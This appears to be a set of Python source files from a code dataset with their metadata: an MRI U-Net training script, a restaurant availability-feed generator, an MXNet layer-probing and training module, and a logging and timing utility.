self.out_chans = out_chans\n self.chans = chans\n self.num_pool_layers = num_pool_layers\n self.drop_prob = drop_prob\n\n self.down_sample_layers = nn.ModuleList([ConvBlock(in_chans, chans, drop_prob)])\n ch = chans\n for i in range(num_pool_layers - 1):\n self.down_sample_layers += [ConvBlock(ch, ch * 2, drop_prob)]\n ch *= 2\n self.conv = ConvBlock(ch, ch, drop_prob)\n\n self.up_sample_layers = nn.ModuleList()\n for i in range(num_pool_layers - 1):\n self.up_sample_layers += [ConvBlock(ch * 2, ch // 2, drop_prob)]\n ch //= 2\n self.up_sample_layers += [ConvBlock(ch * 2, ch, drop_prob)]\n self.conv2 = nn.Sequential(\n nn.Conv2d(ch, ch // 2, kernel_size=1),\n nn.Conv2d(ch // 2, out_chans, kernel_size=1), \n nn.Conv2d(out_chans, out_chans, kernel_size=1),\n )\n\n def forward(self, input):\n\n stack = []\n output = input\n\n for layer in self.down_sample_layers:\n output = layer(output)\n stack.append(output)\n output = F.max_pool2d(output, kernel_size=2)\n\n output = self.conv(output)\n\n for layer in self.up_sample_layers:\n output = F.interpolate(output, scale_factor=2, mode='bilinear', align_corners=False)\n output = torch.cat([output, stack.pop()], dim=1)\n output = layer(output)\n return self.conv2(output)\n\n\n# In[35]:\n\n\nif __name__ == '__main__':\n \n data_path_train = '/data/local/NC2019MRI/train'\n data_path_val = '/data/local/NC2019MRI/train'\n data_list = load_data_path(data_path_train, data_path_val)\n\n acc = 8\n cen_fract = 0.04 \n seed = False \n num_batch = 1\n num_workers = 12\n \n train_dataset = MRIDataset(data_list['train'], acceleration=acc, \n center_fraction=cen_fract, use_seed=seed)\n train_loader = DataLoader(train_dataset, shuffle=True, \n batch_size=num_batch, num_workers=num_workers) \n \n device = torch.device(\"cuda\" if torch.cuda.is_available() else \"cpu\")\n model = UnetModel(in_chans=1, out_chans=1, chans=32,\n num_pool_layers=4, drop_prob=0.5).to(device)\n optimizer = optim.SGD(params=model.parameters(), lr=0.01)\n\n\n def train(num_epochs):\n \n for epoch in range(1, num_epochs + 1): \n loss_train = []\n\n for iteration, sample in enumerate(train_loader):\n img_gt, img_und, masked_kspace, masks, norm = sample\n \n X = img_und\n Y = img_gt\n X, Y = X.to(device), Y.to(device)\n \n output = model(X)\n loss = F.l1_loss(output, Y)\n optimizer.zero_grad()\n loss.backward()\n optimizer.step()\n \n if iteration == 1 or iteration % 100 == 0:\n loss_train.append(loss)\n print('Epoch {}, Iteration {}, Training loss {}'.\n format(epoch, iteration, loss.item()))\n\n torch.save(model.state_dict(), r'/home/students/zxx992/NC2019MRI/fastMRI/unet_train01.pt')\n \n # plt.figure('unet_loss')\n # plt.plot(loss_train,label='Loss')\n # plt.legend()\n # plt.show()\n \n train(50)\n\n\n# In[ ]:\n\n\n# train_loader = torch.utils.data.DataLoader(cifar2, batch_size=64, shuffle=False)\n# val_loader = torch.utils.data.DataLoader(cifar2_val, batch_size=64, shuffle=False)\n\n# for loader in [train_loader, val_loader]:\n# correct = 0\n# total = 0\n\n# with torch.no_grad():\n# for imgs, labels in loader:\n# outputs = model(imgs)\n# _, predicted = torch.max(outputs, dim=1)\n# total += labels.shape[0]\n# correct += int((predicted == labels).sum())\n\n# print(\"Accuracy: %f\" % (correct / total))\n\n\n# In[ ]:\n\n\n# torch.save(model.state_dict(), data_path + 'birds_vs_airplanes.pt')\n\n# loaded_model = Net()\n# loaded_model.load_state_dict(torch.load(data_path + 'birds_vs_airplanes.pt'))\n\n", "sub_path": "fastMRI/train01.py", "file_name": "train01.py", "file_ext": "py", "file_size_in_byte": 12411, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "numpy.iscomplexobj", "line_number": 33, "usage_type": "call"}, {"api_name": "numpy.stack", "line_number": 34, "usage_type": "call"}, {"api_name": "torch.from_numpy", "line_number": 35, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 40, "usage_type": "call"}, {"api_name": "torch.where", "line_number": 43, "usage_type": "call"}, {"api_name": "torch.Tensor", "line_number": 43, "usage_type": "call"}, {"api_name": "torch.fft", "line_number": 50, "usage_type": "call"}, {"api_name": "torch.ifft", "line_number": 59, "usage_type": "call"}, {"api_name": "torch.sqrt", "line_number": 72, "usage_type": "call"}, {"api_name": "torch.cat", "line_number": 121, "usage_type": "call"}, {"api_name": "numpy.random.RandomState", "line_number": 162, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 162, "usage_type": "attribute"}, {"api_name": "torch.from_numpy", "line_number": 184, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 184, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 195, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 195, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplot", "line_number": 197, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 197, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.imshow", "line_number": 198, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 198, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.axis", "line_number": 199, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 199, "usage_type": "name"}, {"api_name": "os.listdir", "line_number": 215, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 216, "usage_type": "call"}, {"api_name": "os.path", "line_number": 216, "usage_type": "attribute"}, {"api_name": "os.path.isfile", "line_number": 217, "usage_type": "call"}, {"api_name": "os.path", "line_number": 217, "usage_type": "attribute"}, {"api_name": "h5py.File", "line_number": 219, "usage_type": "call"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 230, "usage_type": "name"}, {"api_name": "h5py.File", "line_number": 254, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 259, "usage_type": "call"}, {"api_name": "torch.where", "line_number": 265, "usage_type": "call"}, {"api_name": "torch.Tensor", "line_number": 265, "usage_type": "call"}, {"api_name": "torch.nn.Module", "line_number": 291, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 291, "usage_type": "name"}, {"api_name": "torch.nn.Sequential", "line_number": 301, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 301, "usage_type": "name"}, {"api_name": "torch.nn.Conv2d", "line_number": 302, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 302, "usage_type": "name"}, {"api_name": "torch.nn.InstanceNorm2d", "line_number": 303, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 303, "usage_type": "name"}, {"api_name": "torch.nn.ReLU", "line_number": 304, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 304, "usage_type": "name"}, {"api_name": "torch.nn.Dropout2d", "line_number": 305, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 305, "usage_type": "name"}, {"api_name": "torch.nn.Conv2d", "line_number": 306, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 306, "usage_type": "name"}, {"api_name": "torch.nn.InstanceNorm2d", "line_number": 307, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 307, "usage_type": "name"}, {"api_name": "torch.nn.ReLU", "line_number": 308, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 308, "usage_type": "name"}, {"api_name": "torch.nn.Dropout2d", "line_number": 309, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 309, "usage_type": "name"}, {"api_name": "torch.nn.Module", "line_number": 320, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 320, "usage_type": "name"}, {"api_name": "torch.nn.ModuleList", "line_number": 332, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 332, "usage_type": "name"}, {"api_name": "torch.nn.ModuleList", "line_number": 339, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 339, "usage_type": "name"}, {"api_name": "torch.nn.Sequential", "line_number": 344, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 344, "usage_type": "name"}, {"api_name": "torch.nn.Conv2d", "line_number": 345, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 345, "usage_type": "name"}, {"api_name": "torch.nn.Conv2d", "line_number": 346, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 346, "usage_type": "name"}, {"api_name": "torch.nn.Conv2d", "line_number": 347, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 347, "usage_type": "name"}, {"api_name": "torch.nn.functional.max_pool2d", "line_number": 358, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 358, "usage_type": "name"}, {"api_name": "torch.nn.functional.interpolate", "line_number": 363, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 363, "usage_type": "name"}, {"api_name": "torch.cat", "line_number": 364, "usage_type": "call"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 386, "usage_type": "call"}, {"api_name": "torch.device", "line_number": 389, "usage_type": "call"}, {"api_name": "torch.cuda.is_available", "line_number": 389, "usage_type": "call"}, {"api_name": "torch.cuda", "line_number": 389, "usage_type": "attribute"}, {"api_name": "torch.optim.SGD", "line_number": 392, "usage_type": "call"}, {"api_name": "torch.optim", "line_number": 392, "usage_type": "name"}, {"api_name": "torch.nn.functional.l1_loss", "line_number": 408, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 408, "usage_type": "name"}, {"api_name": "torch.save", "line_number": 418, "usage_type": "call"}]} {"seq_id": "492047644", "text": "# -*- coding: utf-8 -*-\n#!/usr/bin/python\nimport json\nimport time\nfrom datetime import datetime, timedelta, date\nimport pytz\nimport sys\nfrom random import randint\nfrom pathlib import Path\n\ndef random_with_N_digits(n):\n range_start = 10**(n-1)\n range_end = (10**n)-1\n return randint(range_start, range_end)\n\ndef is_date(date_text):\n try:\n datetime.strptime(date_text, '%Y/%m/%d')\n except ValueError:\n return False\n else:\n return True\n\n\n# especificar fecha desde que se hara el recorrido\nif len(sys.argv) > 1:\n new_date = sys.argv[1]\n if (is_date(new_date)):\n current_day = datetime.strptime(new_date, '%Y/%m/%d')\n else:\n current_day = date.today()\nelse:\n current_day = date.today()\n\ncurrent_day_m = current_day.month\ncurrent_day_d = current_day.day\nc_d = str(current_day.month)+'_'+str(current_day_d)\n\nutc_timezone = pytz.timezone(\"UTC\")\nnaive_utc = datetime.strptime(\"1970-1-1\", \"%Y-%m-%d\")\nutc_date = utc_timezone.localize(naive_utc, is_dst=None)\n\nwith open('entry/sistema.json', encoding='utf-8') as file:\n data = json.load(file)\n\ntimestamp_init = int(time.time())\n\narray_week_dates = [datetime.combine(\n current_day + timedelta(days=0), datetime.min.time())]\n\n# definir fecha a X dias\nfor i in range(0, 8):\n array_week_dates.append(datetime.combine(\n current_day + timedelta(days=i+1), datetime.min.time()))\n\nlist_lugares = []\n\nf = open('listaccept.txt', 'r')\nf1 = f.readlines()\nfor x in f1:\n if(x):\n list_lugares.append(int(x))\n\nshard_number = 0\ntotal_shard = len(list_lugares)\nnonce = int(random_with_N_digits(10))\n\n#if 2 mean 1 persona\nmax_personas_mesa = 3\n#tiempo_mesa in sec\ntiempo_mesa = 900\ntiempo_menos_final = int(tiempo_mesa/60)\n\nfor lugar in data:\n\n if lugar['id'] in list_lugares:\n\n jsonAvailibility = {\n \"metadata\": {\n \"processing_instruction\": \"PROCESS_AS_COMPLETE\",\n \"shard_number\": shard_number,\n \"total_shards\": total_shard,\n \"nonce\": int(nonce),\n \"generation_timestamp\": int(timestamp_init)\n }\n }\n\n shard_number += 1\n\n jsonAvailibilityServ = {}\n jsonAvailibilityServi = []\n jsonAvailibilityServA = []\n\n local_timezone = pytz.timezone(lugar['timezone'])\n\n for week_date in array_week_dates:\n \n for day in lugar['openingDays']:\n\n # if(week_date.strftime('%A').lower() == day['weekday'] and (day['weekday'] == 'wednesday' or day['weekday'] == 'thursday' or day['weekday'] == 'friday')):\n if(week_date.strftime('%A').lower() == day['weekday']):\n\n if(day['start'] != 0 and day['end'] != 0):\n if(day['start'] is not None and day['end'] is not None):\n\n for minutes in range(day['start'], day['end'], (tiempo_menos_final)):\n # dt = week_date + timedelta(seconds=minutes*60)\n # timestamp = (dt - datetime(1970, 1, 1)).total_seconds()\n\n dt = week_date + timedelta(seconds=minutes*60)\n local_dt = local_timezone.localize(\n dt, is_dst=None)\n timestamp = (\n local_dt - utc_date).total_seconds()\n\n # if(day['weekday'] == 'wednesday'):\n # print(day['weekday'])\n # print(dt)\n # print(local_dt)\n # print(timestamp)\n # print()\n\n for party_size in range(1, max_personas_mesa):\n jsonAvailibilityServA.append({\n \"duration_sec\": tiempo_mesa,\n \"start_sec\": int(timestamp),\n \"merchant_id\": \"merch\"+str(lugar['id']),\n \"service_id\": str(lugar['id'])+\"-dining\",\n \"spots_open\": 10,\n \"spots_total\": 10,\n \"resources\": {\n \"party_size\": party_size\n },\n \"confirmation_mode\": \"CONFIRMATION_MODE_ASYNCHRONOUS\"\n })\n\n if(day['start2'] != 0 and day['end2'] != 0):\n if(day['start2'] is not None and day['end2'] is not None):\n\n for minutes in range(day['start2'], day['end2'], (tiempo_menos_final)):\n # dt = week_date + timedelta(seconds=minutes*60)\n # timestamp = (dt - datetime(1970, 1, 1)).total_seconds()\n\n dt = week_date + timedelta(seconds=minutes*60)\n local_dt = local_timezone.localize(\n dt, is_dst=None)\n timestamp = (\n local_dt - utc_date).total_seconds()\n\n # if(day['weekday'] == 'wednesday'):\n # print(day['weekday'])\n # print(dt)\n # print(local_dt)\n # print(timestamp)\n # print()\n\n for party_size in range(1, max_personas_mesa):\n jsonAvailibilityServA.append({\n \"duration_sec\": tiempo_mesa,\n \"start_sec\": int(timestamp),\n \"merchant_id\": \"merch\"+str(lugar['id']),\n \"service_id\": str(lugar['id'])+\"-dining\",\n \"spots_open\": 10,\n \"spots_total\": 10,\n \"resources\": {\n \"party_size\": party_size\n },\n \"confirmation_mode\": \"CONFIRMATION_MODE_ASYNCHRONOUS\"\n })\n\n jsonAvailibilityServ['availability'] = jsonAvailibilityServA\n jsonAvailibilityServi.append(jsonAvailibilityServ)\n\n jsonAvailibility['service_availability'] = jsonAvailibilityServi\n\n Path('output/availibility'+c_d).mkdir(parents=True, exist_ok=True)\n with open('output/availibility'+c_d+'/availibility_'+c_d+'_'+str(lugar['id'])+'_'+str(shard_number)+'of'+str(total_shard)+'.json', 'w') as file:\n json.dump(jsonAvailibility, file)\n", "sub_path": "multi_shard_availability.py", "file_name": "multi_shard_availability.py", "file_ext": "py", "file_size_in_byte": 7012, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "random.randint", "line_number": 14, "usage_type": "call"}, {"api_name": "datetime.datetime.strptime", "line_number": 18, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 18, "usage_type": "name"}, {"api_name": "sys.argv", "line_number": 26, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 27, "usage_type": "attribute"}, {"api_name": "datetime.datetime.strptime", "line_number": 29, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 29, "usage_type": "name"}, {"api_name": "datetime.date.today", "line_number": 31, "usage_type": "call"}, {"api_name": "datetime.date", "line_number": 31, "usage_type": "name"}, {"api_name": "datetime.date.today", "line_number": 33, "usage_type": "call"}, {"api_name": "datetime.date", "line_number": 33, "usage_type": "name"}, {"api_name": "pytz.timezone", "line_number": 39, "usage_type": "call"}, {"api_name": "datetime.datetime.strptime", "line_number": 40, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 40, "usage_type": "name"}, {"api_name": "json.load", "line_number": 44, "usage_type": "call"}, {"api_name": "time.time", "line_number": 46, "usage_type": "call"}, {"api_name": "datetime.datetime.combine", "line_number": 48, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 48, "usage_type": "name"}, {"api_name": "datetime.timedelta", "line_number": 49, "usage_type": "call"}, {"api_name": "datetime.datetime.min.time", "line_number": 49, "usage_type": "call"}, {"api_name": "datetime.datetime.min", "line_number": 49, "usage_type": "attribute"}, {"api_name": "datetime.datetime", "line_number": 49, "usage_type": "name"}, {"api_name": "datetime.datetime.combine", "line_number": 53, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 53, "usage_type": "name"}, {"api_name": "datetime.timedelta", "line_number": 54, "usage_type": "call"}, {"api_name": "datetime.datetime.min.time", "line_number": 54, "usage_type": "call"}, {"api_name": "datetime.datetime.min", "line_number": 54, "usage_type": "attribute"}, {"api_name": "datetime.datetime", "line_number": 54, "usage_type": "name"}, {"api_name": "pytz.timezone", "line_number": 94, "usage_type": "call"}, {"api_name": "datetime.timedelta", "line_number": 110, "usage_type": "call"}, {"api_name": "datetime.timedelta", "line_number": 144, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 176, "usage_type": "call"}, {"api_name": "json.dump", "line_number": 178, "usage_type": "call"}]} {"seq_id": "254496768", "text": "from mxnet.gluon import Block, HybridBlock, SymbolBlock\nfrom mxnet.symbol import Symbol, FullyConnected, Variable\nimport mxnet\nfrom mxnet import symbol\nfrom mxnet import nd\nfrom mxnet import module\nfrom mxnet import init\nfrom mxnet import io\nfrom mxnet.gluon import Block, HybridBlock, SymbolBlock, Trainer\nfrom mxnet.gluon.nn import Sequential, Dense\nfrom sockeye.training import TrainingModel\nimport numpy\nfrom urllib.request import urlopen, Request\nimport json\nimport logging\nfrom types import MethodType\n\n\n\n\n\n\n\n\n\ndef probe(model, host, port, every=1, select=lambda x : True):\n assert(isinstance(model, (Block, mxnet.module.BaseModule)))\n if isinstance(model, Block):\n def callback(op, ivars, ovar):\n r = Request(\"http://{}:{}\".format(host, port), method=\"POST\", data=json.dumps({\"output\" : ovar.asnumpy().tolist(),\n \"inputs\" : [ivar.asnumpy().tolist() for ivar in ivars],\n \"type\" : \"LAYER\",\n \"metadata\" : {\"name\" : str(op).replace(\"\\n\", \" \"),\n \"framework\" : \"mxnet\",\n },\n }).encode())\n urlopen(r)\n model.apply(lambda m : m.register_forward_hook(callback))\n elif isinstance(model, mxnet.module.BaseModule):\n def callback(self, *args, **argdict):\n retval = self.forward_(*args, **argdict)\n print(retval)\n #print(self.output_dict) #retval)\n return retval\n\n class Monitor:\n def install(self, exe):\n #def callback(name, handle):\n # print(exe.forward())\n #print(name) #, exe._get_outputs())\n #o = exe.output_dict #get_outputs()\n #print(o.keys())\n #print(name)\n #print(exe)\n #exe.set_monitor_callback(lambda n, v : print(n, mxnet.nd.NDArray(mxnet.base.NDArrayHandle(v)).shape))\n #exe.set_monitor_callback(callback)\n exe.forward_ = exe.forward\n exe.forward = MethodType(callback, exe)\n #print(101)\n model.install_monitor(Monitor())\n # def callback(self, *args, **argdict):\n # retval = self.forward_(*args, **argdict)\n # for layers in model.get_params():\n # for k, v in layers.items():\n # print(k, v.shape)\n # return retval\n #model.forward_ = model.forward\n #model.forward = MethodType(callback, model)\n # class Monitor:\n # def __init__(self, _model):\n # self._model = _model\n # def tic(self):\n # return []\n # def toc(self):\n # par, aux = self._model.module.get_params()\n # r = Request(\"http://{}:{}\".format(host, port), method=\"POST\", data=json.dumps({\"output\" : len(par),\n # \"inputs\" : len(aux),\n # \"type\" : \"LAYER\",\n # \"metadata\" : {#\"name\" : str(op).replace(\"\\n\", \" \"),\n # \"framework\" : \"sockeye\",\n # },\n # }).encode())\n # urlopen(r)\n # def install(self, x):\n # pass\n # model._monitor = Monitor(model)\n\n \nclass BlockModel(Sequential):\n def __init__(self):\n super(BlockModel, self).__init__()\n self.add(Dense(20))\n self.add(Dense(3))\n\n \ndef block_mlp():\n return BlockModel()\n\n\ndef symbol_mlp():\n data = symbol.Variable(\"data\")\n first_layer = symbol.FullyConnected(data=data, num_hidden=20)\n second_layer = symbol.FullyConnected(data=first_layer, num_hidden=3)\n return data, second_layer\n\n\ndef train(model, x_train, y_train, x_dev, y_dev, epochs):\n model.initialize()\n criterion = mxnet.gluon.loss.SoftmaxCrossEntropyLoss(sparse_label=False)\n trainer = mxnet.gluon.Trainer(model.collect_params(), 'sgd', {'learning_rate': 0.1})\n\n x_train = nd.array(numpy.asfarray(x_train))\n y_train = nd.array(numpy.asfarray(y_train))\n x_dev = nd.array(numpy.asfarray(x_dev))\n y_dev = nd.array(numpy.asfarray(y_dev))\n \n for t in range(epochs):\n with mxnet.autograd.record():\n y_pred = model(x_train)\n loss = criterion(y_pred, y_train)\n loss.backward()\n trainer.step(y_train.shape[0])\n logging.info(\"Train loss: {}\".format(mxnet.nd.sum(loss).asscalar()))\n\n \n", "sub_path": "src/gluon/backend.py", "file_name": "backend.py", "file_ext": "py", "file_size_in_byte": 5177, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "mxnet.gluon.Block", "line_number": 27, "usage_type": "name"}, {"api_name": "mxnet.module", "line_number": 27, "usage_type": "attribute"}, {"api_name": "mxnet.gluon.Block", "line_number": 28, "usage_type": "argument"}, {"api_name": "urllib.request.Request", "line_number": 30, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 30, "usage_type": "call"}, {"api_name": "urllib.request.urlopen", "line_number": 37, "usage_type": "call"}, {"api_name": "mxnet.module", "line_number": 39, "usage_type": "attribute"}, {"api_name": "types.MethodType", "line_number": 58, "usage_type": "call"}, {"api_name": "mxnet.gluon.nn.Sequential", "line_number": 89, "usage_type": "name"}, {"api_name": "mxnet.gluon.nn.Dense", "line_number": 92, "usage_type": "call"}, {"api_name": "mxnet.gluon.nn.Dense", "line_number": 93, "usage_type": "call"}, {"api_name": "mxnet.symbol.Variable", "line_number": 101, "usage_type": "call"}, {"api_name": "mxnet.symbol", "line_number": 101, "usage_type": "name"}, {"api_name": "mxnet.symbol.FullyConnected", "line_number": 102, "usage_type": "call"}, {"api_name": "mxnet.symbol", "line_number": 102, "usage_type": "name"}, {"api_name": "mxnet.symbol.FullyConnected", "line_number": 103, "usage_type": "call"}, {"api_name": "mxnet.symbol", "line_number": 103, "usage_type": "name"}, {"api_name": "mxnet.gluon.loss.SoftmaxCrossEntropyLoss", "line_number": 109, "usage_type": "call"}, {"api_name": "mxnet.gluon", "line_number": 109, "usage_type": "attribute"}, {"api_name": "mxnet.gluon.Trainer", "line_number": 110, "usage_type": "call"}, {"api_name": "mxnet.gluon", "line_number": 110, "usage_type": "attribute"}, {"api_name": "mxnet.nd.array", "line_number": 112, "usage_type": "call"}, {"api_name": "mxnet.nd", "line_number": 112, "usage_type": "name"}, {"api_name": "numpy.asfarray", "line_number": 112, "usage_type": "call"}, {"api_name": "mxnet.nd.array", "line_number": 113, "usage_type": "call"}, {"api_name": "mxnet.nd", "line_number": 113, "usage_type": "name"}, {"api_name": "numpy.asfarray", "line_number": 113, "usage_type": "call"}, {"api_name": "mxnet.nd.array", "line_number": 114, "usage_type": "call"}, {"api_name": "mxnet.nd", "line_number": 114, "usage_type": "name"}, {"api_name": "numpy.asfarray", "line_number": 114, "usage_type": "call"}, {"api_name": "mxnet.nd.array", "line_number": 115, "usage_type": "call"}, {"api_name": "mxnet.nd", "line_number": 115, "usage_type": "name"}, {"api_name": "numpy.asfarray", "line_number": 115, "usage_type": "call"}, {"api_name": "mxnet.autograd.record", "line_number": 118, "usage_type": "call"}, {"api_name": "mxnet.autograd", "line_number": 118, "usage_type": "attribute"}, {"api_name": "logging.info", "line_number": 123, "usage_type": "call"}, {"api_name": "mxnet.nd.sum", "line_number": 123, "usage_type": "call"}, {"api_name": "mxnet.nd", "line_number": 123, "usage_type": "attribute"}]} {"seq_id": "30515070", "text": "import logging\nfrom contextlib import contextmanager\nimport time\nimport functools\nfrom typing import Callable, Any\nimport platform\nimport signal\n\n\nclass Log:\n \"\"\"\n Class for logging info\n \"\"\"\n def __init__(self, name: str, log_file_name: str, level: str ='DEBUG'):\n \"\"\"\n :param name: name of the logger\n :type name: str\n\n :param log_file_name : name of the log file\n :type log_file_name : str\n\n :param level : level of logger, must of one of ['DEBUG', 'INFO', 'WARNING', 'ERROR', 'CRITICAL']\n :type level : str\n \"\"\"\n self.logger = logging.getLogger(name)\n self.level = level\n self.level_dict = {'DEBUG': logging.DEBUG, 'INFO': logging.INFO, 'WARNING': logging.WARNING,\n 'ERROR': logging.ERROR, 'CRITICAL': logging.CRITICAL}\n self.set_log_level()\n self.format = logging.Formatter('[%(levelname)s | %(name)s] %(asctime)s >> %(message)s')\n self.file_handler = logging.FileHandler(log_file_name)\n self.file_handler.setFormatter(self.format)\n self.logger.addHandler(self.file_handler)\n\n def set_log_level(self) -> None:\n \"\"\"\n set logger's log level, must of one of ['DEBUG', 'INFO', 'WARNING', 'ERROR', 'CRITICAL']\n \"\"\"\n self.logger.setLevel(self.level_dict[self.level])\n\n def activate_stream(self) -> None:\n \"\"\"\n activate StreamHandler\n \"\"\"\n handler = logging.StreamHandler()\n handler.setFormatter(self.format)\n self.logger.addHandler(handler)\n\n def debug(self, message: str) -> None:\n \"\"\"\n :param message : send message to logger in DEBUG level\n :type message : str\n \"\"\"\n self.logger.debug(message)\n\n def info(self, message: str) -> None:\n \"\"\"\n :param message : send message to logger in INFO level\n :type message : str\n \"\"\"\n self.logger.info(message)\n\n def write(self, message: str) -> None:\n \"\"\"\n made for memory_profiler.profile's output stream\n :param message : send message to logger in INFO\n :type message : str\n \"\"\"\n self.logger.info(message)\n\n def warning(self, message: str) -> None:\n \"\"\"\n :param message : send message to logger in WARNING level\n :type message : str\n \"\"\"\n self.logger.warning(message)\n\n def critical(self, message: str) -> None:\n \"\"\"\n :param message : send message to logger in CRITICAL level\n :type message : str\n \"\"\"\n self.logger.critical(message)\n\n def error(self, message: str) -> None:\n \"\"\"\n :param message : send message to logger in ERROR level\n :type message : str\n \"\"\"\n self.logger.error(message)\n\n def flush(self) -> None:\n \"\"\"\n flush handlers in logger\n \"\"\"\n for handler in self.logger.handlers:\n handler.flush()\n\n def set_format(self, ex_format: str) -> None:\n \"\"\"\n Resets format of handlers\n ex) '[%(levelname)s | %(name)s] %(asctime)s >> %(message)s'\n\n :param ex_format : new_format\n :type ex_format : str\n \"\"\"\n self.format = logging.Formatter(ex_format)\n for handler in self.logger.handlers:\n handler.setFormatter(self.format)\n\n\nclass TimeoutException(Exception):\n \"\"\"Custom made exception for time_out\"\"\"\n\n\nclass FunctionChecker:\n \"\"\"\n class for measuring time and memory of function.\n Only consists of staticmethod\n Must not make instance of this class\n\n Memory check example:\n\n from memory_profiler import profile\n from utils.timer_log import Log\n test = Log('your_name', 'your_log.log')\n\n @profile(stream = test)\n def your_func():\n pass\n \"\"\"\n def __init__(self):\n raise NotImplementedError\n\n @staticmethod\n @contextmanager\n def timer_context(name: str, time_type: str='milli_second', logger: Log=None) -> None:\n \"\"\"\n Method for measuring time of function and script\n\n :param name : name of the function\n :type name : str\n\n :param time_type : type of the time, must be one of ['micro_second', 'milli_second', 'second']\n :type time_type : str\n\n :param logger : logger to log the elapsed time. If None, time is printed on the console\n :type logger\n\n :return time of function and script\n\n example :\n\n with FunctionChecker.timer_context('your_name'):\n your_function()\n your_script\n\n >> [your_name] : elapsed_time milli_second\n \"\"\"\n time_dict = {'micro_second': 1E+06, 'milli_second': 1E+03, 'second': 1}\n start_time = time.time()\n yield\n end_time = time.time()\n elapsed_time = (end_time - start_time) * time_dict[time_type]\n if logger is None:\n print('[{}] : {} {}'.format(name, elapsed_time, time_type))\n else:\n logger.info('[{}] : {} {}'.format(name, elapsed_time, time_type))\n\n @staticmethod\n def timer_wrapper(func: Callable[..., Any]) -> Callable[..., Any]:\n \"\"\"\n Wrapper of function for time check\n\n example)\n @FunctionChecker.timer_wrapper\n def foo():\n your_script\n\n foo(your_logger, your_name):\n\n >> [foo] : time milli_second\n \"\"\"\n @functools.wraps(func)\n def n_func(logger: Log=None, name: str=func.__name__, time_type: str='milli_second', *args, **kwargs):\n \"\"\"\n :param logger: logger for logging. If None, log will be printed on the console\n :type logger: logger\n\n :param name: name of log, default: func.__name__\n :type name: str\n\n :param time_type: type of the time, must be one of ['micro_second', 'milli_second', 'second']\n :type time_type: str\n \"\"\"\n start_time = time.time()\n func(*args, **kwargs)\n end_time = time.time()\n time_dict = {'micro_second': 1E+06, 'milli_second': 1E+03, 'second': 1}\n elapsed_time = (end_time - start_time) * time_dict[time_type]\n if logger is None:\n print('[{}] : {} {}'.format(name, elapsed_time, time_type))\n else:\n logger.info('[{}] : {} {}'.format(name, elapsed_time, time_type))\n return n_func\n\n @staticmethod\n def break_after_time(seconds: int, logger: Log=None) -> Callable[..., Any]:\n \"\"\"\n Wrapper of function for terminating the function after input second\n\n :param seconds: After 'seconds' the function is terminated\n :type seconds: int\n\n :param logger: logger for handling time_check if None, log will be printed on the console\n :type logger: Log\n\n ex)\n @FunctionChecker.break_after_time(seconds = 10, None)\n def f(a,b,c):\n pass\n\n f(1,2,3)\n \"\"\"\n def timeout_handler(sig_num, frame):\n raise TimeoutException\n\n def function(function_in):\n if platform.system() == 'Windows':\n if logger is None:\n print('This function does not support current OS')\n else:\n\n logger.warning('This function does not support current OS')\n raise OSError\n\n def wrapper(*args, **kwargs):\n signal.signal(signal.SIGALRM, timeout_handler)\n signal.alarm(seconds)\n try:\n res = function_in(*args, **kwargs)\n signal.alarm(0)\n return res\n except TimeoutException:\n if logger is None:\n print(u'Timeout: %s sec reached.' % seconds, function_in.__name__, args, kwargs)\n else:\n logger.info(u'Timeout: %s sec reached. %s %s %s'\n % (seconds, function_in.__name__, args, kwargs))\n return\n return wrapper\n return function\n", "sub_path": "StructureLearning/utils/timer_log.py", "file_name": "timer_log.py", "file_ext": "py", "file_size_in_byte": 8078, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "logging.getLogger", "line_number": 25, "usage_type": "call"}, {"api_name": "logging.DEBUG", "line_number": 27, "usage_type": "attribute"}, {"api_name": 